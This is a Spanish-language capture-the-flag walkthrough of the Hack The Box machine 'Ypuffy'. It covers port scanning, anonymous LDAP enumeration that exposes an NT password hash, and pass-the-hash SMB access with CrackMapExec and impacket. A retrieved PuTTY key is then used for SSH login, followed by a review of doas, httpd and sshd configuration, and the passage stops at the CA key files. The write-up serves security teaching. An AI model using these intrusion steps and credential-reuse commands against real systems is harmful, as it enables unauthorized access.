<p>Comenzamos por escanear todos los puertos TCP abiertos en la máquina, con la finalidad de poder encontrar los servicios ejecutándose en la máquina:</p>
<p>Primero un nmap de todos los puertos, sin resolución de dns y un haciendo un TCP syn scan:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sS -p- --open -n -v 10.10.10.107
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-31 11:16 CST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 11:16
</span></span><span style="display:flex;"><span>Scanning 10.10.10.107 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 11:16, 0.43s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 11:16
</span></span><span style="display:flex;"><span>Scanning 10.10.10.107 [65535 ports]
</span></span><span style="display:flex;"><span>Discovered open port 139/tcp on 10.10.10.107
</span></span><span style="display:flex;"><span>Discovered open port 445/tcp on 10.10.10.107
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.107
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.107
</span></span><span style="display:flex;"><span>Discovered open port 389/tcp on 10.10.10.107
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 11:19, 122.60s elapsed (65535 total ports)
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.107
</span></span><span style="display:flex;"><span>Host is up (0.21s latency).
</span></span><span style="display:flex;"><span>Not shown: 64940 closed ports, 590 filtered ports
</span></span><span style="display:flex;"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
</span></span><span style="display:flex;"><span>PORT    STATE SERVICE
</span></span><span style="display:flex;"><span>22/tcp  open  ssh
</span></span><span style="display:flex;"><span>80/tcp  open  http
</span></span><span style="display:flex;"><span>139/tcp open  netbios-ssn
</span></span><span style="display:flex;"><span>389/tcp open  ldap
</span></span><span style="display:flex;"><span>445/tcp open  microsoft-ds
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 123.17 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 150935 (6.641MB) | Rcvd: 129858 (5.194MB)
</span></span></code></pre></div><p>Como backup a algún puerto coqueto que se haya hecho pasar por filtrado, realizamos un masscan:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.107
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-12-31 19:17:52 GMT
</span></span><span style="display:flex;"><span> -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan
</span></span><span style="display:flex;"><span>Scanning 1 hosts [131072 ports/host]
</span></span><span style="display:flex;"><span>Discovered open port 139/tcp on 10.10.10.107
</span></span><span style="display:flex;"><span>Discovered open port 445/tcp on 10.10.10.107
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.107
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.107
</span></span><span style="display:flex;"><span>Discovered open port 389/tcp on 10.10.10.107
</span></span></code></pre></div><p>Observamos consistencia, por lo que continuamos a analizar los servicios y versiones en cada puerto:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -p22,80,139,389,445 -sV -sC -n -v 10.10.10.107
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-02 17:35 CST
</span></span><span style="display:flex;"><span>NSE: Loaded 148 scripts for scanning.
</span></span><span style="display:flex;"><span>NSE: Script Pre-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 17:35
</span></span><span style="display:flex;"><span>Completed NSE at 17:35, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 17:35
</span></span><span style="display:flex;"><span>Completed NSE at 17:35, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 17:35
</span></span><span style="display:flex;"><span>Scanning 10.10.10.107 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 17:35, 0.43s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 17:35
</span></span><span style="display:flex;"><span>Scanning 10.10.10.107 [5 ports]
</span></span><span style="display:flex;"><span>Discovered open port 445/tcp on 10.10.10.107
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.107
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.107
</span></span><span style="display:flex;"><span>Discovered open port 139/tcp on 10.10.10.107
</span></span><span style="display:flex;"><span>Discovered open port 389/tcp on 10.10.10.107
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 17:35, 0.43s elapsed (5 total ports)
</span></span><span style="display:flex;"><span>Initiating Service scan at 17:35
</span></span><span style="display:flex;"><span>Scanning 5 services on 10.10.10.107
</span></span><span style="display:flex;"><span>Completed Service scan at 17:36, 15.00s elapsed (5 services on 1 host)
</span></span><span style="display:flex;"><span>NSE: Script scanning 10.10.10.107.
</span></span><span style="display:flex;"><span>Initiating NSE at 17:36
</span></span><span style="display:flex;"><span>Completed NSE at 17:36, 12.88s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 17:36
</span></span><span style="display:flex;"><span>Completed NSE at 17:36, 0.00s elapsed
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.107
</span></span><span style="display:flex;"><span>Host is up (0.21s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT    STATE SERVICE     VERSION
</span></span><span style="display:flex;"><span>22/tcp  open  ssh         OpenSSH 7.7 (protocol 2.0)
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>|   2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
</span></span><span style="display:flex;"><span>|   256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
</span></span><span style="display:flex;"><span>|_  256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519)
</span></span><span style="display:flex;"><span>80/tcp  open  http        OpenBSD httpd
</span></span><span style="display:flex;"><span>139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
</span></span><span style="display:flex;"><span>389/tcp open  ldap        (Anonymous bind OK)
</span></span><span style="display:flex;"><span>445/tcp open  netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)
</span></span><span style="display:flex;"><span>Service Info: Host: YPUFFY
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Host script results:
</span></span><span style="display:flex;"><span>|_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
</span></span><span style="display:flex;"><span>| smb-os-discovery:
</span></span><span style="display:flex;"><span>|   OS: Windows 6.1 (Samba 4.7.6)
</span></span><span style="display:flex;"><span>|   Computer name: ypuffy
</span></span><span style="display:flex;"><span>|   NetBIOS computer name: YPUFFY\x00
</span></span><span style="display:flex;"><span>|   Domain name: hackthebox.htb
</span></span><span style="display:flex;"><span>|   FQDN: ypuffy.hackthebox.htb
</span></span><span style="display:flex;"><span>|_  System time: 2019-01-02T18:36:10-05:00
</span></span><span style="display:flex;"><span>| smb-security-mode:
</span></span><span style="display:flex;"><span>|   account_used: &lt;blank&gt;
</span></span><span style="display:flex;"><span>|   authentication\_level: user
</span></span><span style="display:flex;"><span>|   challenge\_response: supported
</span></span><span style="display:flex;"><span>|_  message_signing: disabled (dangerous, but default)
</span></span><span style="display:flex;"><span>| smb2-security-mode:
</span></span><span style="display:flex;"><span>|   2.02:
</span></span><span style="display:flex;"><span>|_    Message signing enabled but not required
</span></span><span style="display:flex;"><span>| smb2-time:
</span></span><span style="display:flex;"><span>|   date: 2019-01-02 17:36:10
</span></span><span style="display:flex;"><span>|_  start\_date: N/A
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NSE: Script Post-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 17:36
</span></span><span style="display:flex;"><span>Completed NSE at 17:36, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 17:36
</span></span><span style="display:flex;"><span>Completed NSE at 17:36, 0.00s elapsed
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 29.32 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 9 (372B) | Rcvd: 6 (248B)
</span></span></code></pre></div><p>Con este primer vistazo ya tenemos en nombre de la máquina, el dominio y un poco de información contradictoria (banner httpd de openbsd y smb-os de Windows 6.1)</p>
<h1 id="ldap">LDAP</h1>
<p>Continuemos por enumerar el servicio de LDAP con el script de nmap:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -p389 10.10.10.107 -sC -sV --script ldap-search
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-02 18:24 CST
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.107
</span></span><span style="display:flex;"><span>Host is up (0.18s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT    STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>389/tcp open  ldap    (Anonymous bind OK)
</span></span><span style="display:flex;"><span>| ldap-search:
</span></span><span style="display:flex;"><span>|   Context: dc=hackthebox,dc=htb
</span></span><span style="display:flex;"><span>|     dn: dc=hackthebox,dc=htb
</span></span><span style="display:flex;"><span>|         dc: hackthebox
</span></span><span style="display:flex;"><span>|         objectClass: top
</span></span><span style="display:flex;"><span>|         objectClass: domain
</span></span><span style="display:flex;"><span>|     dn: ou=passwd,dc=hackthebox,dc=htb
</span></span><span style="display:flex;"><span>|         ou: passwd
</span></span><span style="display:flex;"><span>|         objectClass: top
</span></span><span style="display:flex;"><span>|         objectClass: organizationalUnit
</span></span><span style="display:flex;"><span>|     dn: uid=bob8791,ou=passwd,dc=hackthebox,dc=htb
</span></span><span style="display:flex;"><span>|         uid: bob8791
</span></span><span style="display:flex;"><span>|         cn: Bob
</span></span><span style="display:flex;"><span>|         objectClass: account
</span></span><span style="display:flex;"><span>|         objectClass: posixAccount
</span></span><span style="display:flex;"><span>|         objectClass: top
</span></span><span style="display:flex;"><span>|         userPassword: {BSDAUTH}bob8791
</span></span><span style="display:flex;"><span>|         uidNumber: 5001
</span></span><span style="display:flex;"><span>|         gidNumber: 5001
</span></span><span style="display:flex;"><span>|         gecos: Bob
</span></span><span style="display:flex;"><span>|         homeDirectory: /home/bob8791
</span></span><span style="display:flex;"><span>|         loginShell: /bin/ksh
</span></span><span style="display:flex;"><span>|     dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb
</span></span><span style="display:flex;"><span>|         uid: alice1978
</span></span><span style="display:flex;"><span>|         cn: Alice
</span></span><span style="display:flex;"><span>|         objectClass: account
</span></span><span style="display:flex;"><span>|         objectClass: posixAccount
</span></span><span style="display:flex;"><span>|         objectClass: top
</span></span><span style="display:flex;"><span>|         objectClass: sambaSamAccount
</span></span><span style="display:flex;"><span>|         userPassword: {BSDAUTH}alice1978
</span></span><span style="display:flex;"><span>|         uidNumber: 5000
</span></span><span style="display:flex;"><span>|         gidNumber: 5000
</span></span><span style="display:flex;"><span>|         gecos: Alice
</span></span><span style="display:flex;"><span>|         homeDirectory: /home/alice1978
</span></span><span style="display:flex;"><span>|         loginShell: /bin/ksh
</span></span><span style="display:flex;"><span>|         sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001
</span></span><span style="display:flex;"><span>|         displayName: Alice
</span></span><span style="display:flex;"><span>|         sambaAcctFlags: [U          ]
</span></span><span style="display:flex;"><span>|         sambaPasswordHistory: 00000000000000000000000000000000000000000000000000000000
</span></span><span style="display:flex;"><span>|         sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
</span></span><span style="display:flex;"><span>|         sambaPwdLastSet: 1532916644
</span></span><span style="display:flex;"><span>|     dn: ou=group,dc=hackthebox,dc=htb
</span></span><span style="display:flex;"><span>|         ou: group
</span></span><span style="display:flex;"><span>|         objectClass: top
</span></span><span style="display:flex;"><span>|         objectClass: organizationalUnit
</span></span><span style="display:flex;"><span>|     dn: cn=bob8791,ou=group,dc=hackthebox,dc=htb
</span></span><span style="display:flex;"><span>|         objectClass: posixGroup
</span></span><span style="display:flex;"><span>|         objectClass: top
</span></span><span style="display:flex;"><span>|         cn: bob8791
</span></span><span style="display:flex;"><span>|         userPassword: {crypt}*
</span></span><span style="display:flex;"><span>|         gidNumber: 5001
</span></span><span style="display:flex;"><span>|     dn: cn=alice1978,ou=group,dc=hackthebox,dc=htb
</span></span><span style="display:flex;"><span>|         objectClass: posixGroup
</span></span><span style="display:flex;"><span>|         objectClass: top
</span></span><span style="display:flex;"><span>|         cn: alice1978
</span></span><span style="display:flex;"><span>|         userPassword: {crypt}*
</span></span><span style="display:flex;"><span>|         gidNumber: 5000
</span></span><span style="display:flex;"><span>|     dn: sambadomainname=ypuffy,dc=hackthebox,dc=htb
</span></span><span style="display:flex;"><span>|         sambaDomainName: YPUFFY
</span></span><span style="display:flex;"><span>|         sambaSID: S-1-5-21-3933741069-3307154301-3557023464
</span></span><span style="display:flex;"><span>|         sambaAlgorithmicRidBase: 1000
</span></span><span style="display:flex;"><span>|         objectclass: sambaDomain
</span></span><span style="display:flex;"><span>|         sambaNextUserRid: 1000
</span></span><span style="display:flex;"><span>|         sambaMinPwdLength: 5
</span></span><span style="display:flex;"><span>|         sambaPwdHistoryLength: 0
</span></span><span style="display:flex;"><span>|         sambaLogonToChgPwd: 0
</span></span><span style="display:flex;"><span>|         sambaMaxPwdAge: -1
</span></span><span style="display:flex;"><span>|         sambaMinPwdAge: 0
</span></span><span style="display:flex;"><span>|         sambaLockoutDuration: 30
</span></span><span style="display:flex;"><span>|         sambaLockoutObservationWindow: 30
</span></span><span style="display:flex;"><span>|         sambaLockoutThreshold: 0
</span></span><span style="display:flex;"><span>|         sambaForceLogoff: -1
</span></span><span style="display:flex;"><span>|         sambaRefuseMachinePwdChange: 0
</span></span><span style="display:flex;"><span>|_        sambaNextRid: 1001
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 13.79 seconds
</span></span></code></pre></div><p><em>Wow wow, slow down bro.</em></p>
<p>Tenemos ahora:</p>
<ul>
<li>El DC, hackthebox.htb</li>
<li>Dos OU, group y passwd</li>
<li>Dos UID, bob8791 (5001.5001) y alice1978 (5000.5000)</li>
<li>Un NT Password from OU passwd, alice1978 / 0B186E661BBDBDCF6047784DE8B9FD8B</li>
</ul>
<h1 id="smb">SMB</h1>
<p>Usemos estas credenciales ahora para enumerar el servicio de SMB:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>(CrackMapExec-wTENtMaY) xbytemx@laptop:~/git/CrackMapExec$ crackmapexec smb -u alice1978 -H 0B186E661BBDBDCF6047784DE8B9FD8B -d ypuff 10.10.10.107
</span></span><span style="display:flex;"><span>SMB         10.10.10.107    445    YPUFFY           [*] Windows 6.1 (name:YPUFFY) (domain:ypuff) (signing:False) (SMBv1:True)
</span></span><span style="display:flex;"><span>SMB         10.10.10.107    445    YPUFFY           [+] ypuff\alice1978 0B186E661BBDBDCF6047784DE8B9FD8B
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>(CrackMapExec-wTENtMaY) xbytemx@laptop:~/git/CrackMapExec$ crackmapexec smb -u alice1978 -H 0B186E661BBDBDCF6047784DE8B9FD8B -d ypuff 10.10.10.107 --shares
</span></span><span style="display:flex;"><span>SMB         10.10.10.107    445    YPUFFY           [*] Windows 6.1 (name:YPUFFY) (domain:ypuff) (signing:False) (SMBv1:True)
</span></span><span style="display:flex;"><span>SMB         10.10.10.107    445    YPUFFY           [+] ypuff\alice1978 0B186E661BBDBDCF6047784DE8B9FD8B
</span></span><span style="display:flex;"><span>SMB         10.10.10.107    445    YPUFFY           [+] Enumerated shares
</span></span><span style="display:flex;"><span>SMB         10.10.10.107    445    YPUFFY           Share           Permissions     Remark
</span></span><span style="display:flex;"><span>SMB         10.10.10.107    445    YPUFFY           -----           -----------     ------
</span></span><span style="display:flex;"><span>SMB         10.10.10.107    445    YPUFFY           alice           READ,WRITE      Alice&#39;s Windows Directory
</span></span><span style="display:flex;"><span>SMB         10.10.10.107    445    YPUFFY           IPC$                            IPC Service (Samba Server)
</span></span></code></pre></div><p>Vientos, ahora tenemos el acceso al directorio de ALICE, analicemos su contenido:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>(impacket-a2aNp99x) xbytemx@laptop:~/git/impacket/examples$ python smbclient.py -hashes 00000000000000000000000000000000:0B186E661BBDBD
</span></span><span style="display:flex;"><span>CF6047784DE8B9FD8B YPUFF/alice1978@10.10.10.107
</span></span><span style="display:flex;"><span>Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Type help for list of commands
</span></span><span style="display:flex;"><span># info
</span></span><span style="display:flex;"><span>Version Major: 6
</span></span><span style="display:flex;"><span>Version Minor: 1
</span></span><span style="display:flex;"><span>Server Name: YPUFFY
</span></span><span style="display:flex;"><span>Server Comment: Samba Server
</span></span><span style="display:flex;"><span>Server UserPath: C:\
</span></span><span style="display:flex;"><span>Simultaneous Users: 4294967295
</span></span><span style="display:flex;"><span># use alice
</span></span><span style="display:flex;"><span># ls
</span></span><span style="display:flex;"><span>drw-rw-rw-          0  Wed Jan  2 19:09:09 2019 .
</span></span><span style="display:flex;"><span>drw-rw-rw-          0  Tue Jul 31 22:16:50 2018 ..
</span></span><span style="display:flex;"><span>-rw-rw-rw-       1460  Mon Jul 16 20:38:51 2018 my_private_key.ppk
</span></span><span style="display:flex;"><span># get my_private_key.ppk
</span></span><span style="display:flex;"><span># exit
</span></span></code></pre></div><h1 id="ppk-file-and-login">PPK File and login</h1>
<p>Ok, tenemos un archivo ppk, que después de googlear, veremos que es un formato usado en putty para manera llaves, por lo que descomponemos el archivo para usarlo en openssh. Tras convertirlo, usemos la llave privada para acceder a la cuenta de alice:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/ypuff$ puttygen my_private_key.ppk -O private-openssh -o id_rsa-ypuff
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/ypuff$ chmod 600 id_rsa-ypuff
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/ypuff$ ssh alice1978@10.10.10.107 -i id_rsa-ypuff
</span></span><span style="display:flex;"><span>OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Welcome to OpenBSD: The proactively secure Unix-like operating system.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Please use the sendbug(1) utility to report bugs in the system.
</span></span><span style="display:flex;"><span>Before reporting a bug, please try to reproduce it with the latest
</span></span><span style="display:flex;"><span>version of the code.  With bug reports, please try to ensure that
</span></span><span style="display:flex;"><span>enough information to reproduce the problem is enclosed, and if a
</span></span><span style="display:flex;"><span>known fix for it exists, include that as well.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ypuffy$
</span></span></code></pre></div><h1 id="cat-usertxt">cat user.txt</h1>
<p><code>ypuffy$ cat user.txt</code></p>
<h1 id="at-bob8791">At bob8791</h1>
<p>Después de una rápida revisión en los alrededores de alice, empezamos a espiar que hay con bob (me siento como si fuera eve):</p>
<blockquote>
<p>Como dato curioso, bob8791 y alice1978, hacen referencia a los personajes ficticios que fueron inventados para el artículo de &ldquo;A method for obtaining digital signatures and public-key cryptosystems.&rdquo; en 1978!</p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ypuffy$ cd /home/bob8791
</span></span><span style="display:flex;"><span>ypuffy$ ls -lah
</span></span><span style="display:flex;"><span>total 36
</span></span><span style="display:flex;"><span>drwxr-xr-x  3 bob8791  bob8791   512B Jul 30 20:52 .
</span></span><span style="display:flex;"><span>drwxr-xr-x  5 root     wheel     512B Jul 30 21:05 ..
</span></span><span style="display:flex;"><span>-rw-r--r--  1 bob8791  bob8791    87B Mar 24  2018 .Xdefaults
</span></span><span style="display:flex;"><span>-rw-r--r--  1 bob8791  bob8791   771B Mar 24  2018 .cshrc
</span></span><span style="display:flex;"><span>-rw-r--r--  1 bob8791  bob8791   101B Mar 24  2018 .cvsrc
</span></span><span style="display:flex;"><span>-rw-r--r--  1 bob8791  bob8791   359B Mar 24  2018 .login
</span></span><span style="display:flex;"><span>-rw-r--r--  1 bob8791  bob8791   175B Mar 24  2018 .mailrc
</span></span><span style="display:flex;"><span>-rw-r--r--  1 bob8791  bob8791   215B Mar 24  2018 .profile
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 bob8791  bob8791   512B Jul 30 20:53 dba
</span></span><span style="display:flex;"><span>ypuffy$ cd dba
</span></span><span style="display:flex;"><span>ypuffy$ ls -lah
</span></span><span style="display:flex;"><span>total 12
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 bob8791  bob8791   512B Jul 30 20:53 .
</span></span><span style="display:flex;"><span>drwxr-xr-x  3 bob8791  bob8791   512B Jul 30 20:52 ..
</span></span><span style="display:flex;"><span>-rw-r--r--  1 bob8791  bob8791   268B Jul 30 20:58 sshauth.sql
</span></span></code></pre></div><h1 id="sshauthsql">sshauth.sql</h1>
<p>Interesante, sshauth.sql. Veamos en que consiste este archivo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ypuffy$ strings sshauth.sql
</span></span><span style="display:flex;"><span>CREATE TABLE principals (
</span></span><span style="display:flex;"><span>        uid text,
</span></span><span style="display:flex;"><span>        client cidr,
</span></span><span style="display:flex;"><span>        principal text,
</span></span><span style="display:flex;"><span>        PRIMARY KEY (uid,client,principal)
</span></span><span style="display:flex;"><span>CREATE TABLE keys (
</span></span><span style="display:flex;"><span>        uid text,
</span></span><span style="display:flex;"><span>        key text,
</span></span><span style="display:flex;"><span>        PRIMARY KEY (uid,key)
</span></span><span style="display:flex;"><span>grant select on principals,keys to appsrv;
</span></span></code></pre></div><p>Básicamente vemos que crea las tablas de principals y keys, y se le otorga acceso a appsrv para que pueda usarlos.</p>
<h1 id="config-files">Config files</h1>
<p>Veamos que hay en algunos archivos de configuración para hacernos una mejor idea de que realiza esta máquina.</p>
<h2 id="doas">doas</h2>
<p>Veamos que podemos hacer como otros usuarios desde alice:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ypuffy$ cat /etc/doas.conf
</span></span><span style="display:flex;"><span>permit keepenv :wheel
</span></span><span style="display:flex;"><span>permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen
</span></span></code></pre></div><p>Así que por lo visto alice puede ejecutar ssh-keygen como userca, utilizaremos esta información esto más tarde.</p>
<h2 id="httpd">httpd</h2>
<p>¿Se acuerdan que aun teníamos el servicio TCP/80 sin enumerar? Pues bien, ya como alice podemos investigar un poco mas:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ypuffy$ cat /etc/httpd.conf
</span></span><span style="display:flex;"><span>server &#34;ypuffy.hackthebox.htb&#34; {
</span></span><span style="display:flex;"><span>        listen on * port 80
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        location &#34;/userca*&#34; {
</span></span><span style="display:flex;"><span>                root &#34;/userca&#34;
</span></span><span style="display:flex;"><span>                root strip 1
</span></span><span style="display:flex;"><span>                directory auto index
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        location &#34;/sshauth*&#34; {
</span></span><span style="display:flex;"><span>                fastcgi socket &#34;/run/wsgi/sshauthd.socket&#34;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        location * {
</span></span><span style="display:flex;"><span>                block drop
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>ypuffy$
</span></span></code></pre></div><p>Con razón mi gobuster fallo, todo lo que no fuera userca y sshauth se iba a drop. userca tiene un tema interesante, como vemos sirve para compartir el contenido del directorio. sshauth llama a un socket, si recordamos sshauth también era el nombre del archivo SQL que encontramos antes.</p>
<h2 id="sshd">SSHd</h2>
<p>Realizamos un pequeño filtro para tomar la información relevante:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ypuffy$ cat /etc/ssh/sshd_config  | grep -vE &#34;^#|^$&#34;
</span></span><span style="display:flex;"><span>PermitRootLogin prohibit-password
</span></span><span style="display:flex;"><span>AuthorizedKeysFile      .ssh/authorized_keys
</span></span><span style="display:flex;"><span>AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&amp;username=%u
</span></span><span style="display:flex;"><span>AuthorizedKeysCommandUser nobody
</span></span><span style="display:flex;"><span>TrustedUserCAKeys /home/userca/ca.pub
</span></span><span style="display:flex;"><span>AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&amp;username=%u
</span></span><span style="display:flex;"><span>AuthorizedPrincipalsCommandUser nobody
</span></span><span style="display:flex;"><span>PasswordAuthentication no
</span></span><span style="display:flex;"><span>ChallengeResponseAuthentication no
</span></span><span style="display:flex;"><span>AllowAgentForwarding no
</span></span><span style="display:flex;"><span>AllowTcpForwarding no
</span></span><span style="display:flex;"><span>X11Forwarding no
</span></span><span style="display:flex;"><span>Subsystem       sftp    /usr/libexec/sftp-server
</span></span></code></pre></div><p>Root solo puede entrar con certificados, no hay autenticación con contraseñas ni challenges, no hay fwd de ningún tipo.</p>
<p>También solo las llaves en .ssh/authorized_keys son las validas, pero el usuario nobody puede autorizar via el servicio web (/run/wsgi/sshauthd.socket) pasando los argumentos de tipo keys t el usuario que solicita.</p>
<p>Principals, usa el mismo servicio vía HTTPd, cambiando el tipo a principals.</p>
<h2 id="ca-keys">CA keys</h2>
<p>Como pudimos ver en el archivo de SSHd, las llaves de CA se encuentran en el home de userca:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ypuffy$ ls -lah /home/userca/
</span></span><span style="display:flex;"><span>total 44
</span></span><span style="display:flex;"><span>drwxr-xr-x  3 userca  userca   512B Jul 30  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x  5 root    wheel    512B Jul 30  2018 ..
</span></span><span style="display:flex;"><span>-rw-r--r--  1 userca  userca    87B Jul 30  2018 .Xdefaults
</span></span><span style="display:flex;"><span>-rw-r--r--  1 userca  userca   771B Jul 30  2018 .cshrc
</span></span><span style="display:flex;"><span>-rw-r--r--  1 userca  userca   101B Jul 30  2018 .cvsrc
</span></span><span style="display:flex;"><span>-rw-r--r--  1 userca  userca   359B Jul 30  2018 .login
</span></span><span style="display:flex;"><span>-rw-r--r--  1 userca  userca   175B Jul 30  2018 .mailrc
</span></span><span style="display:flex;"><span>-rw-r--r--  1 userca  userca   215B Jul 30  2018 .profile
</span></span><span style="display:flex;"><span>drwx------  2 userca  userca   512B Jul 30  2018 .ssh
</span></span><span style="display:flex;"><span>-r--------  1 userca  userca   1.6K Jul 30  2018 ca
</span></span><span style="display:flex;"><span>-r--r--r--  1 userca  userca   410B Jul 30  2018 ca.pub
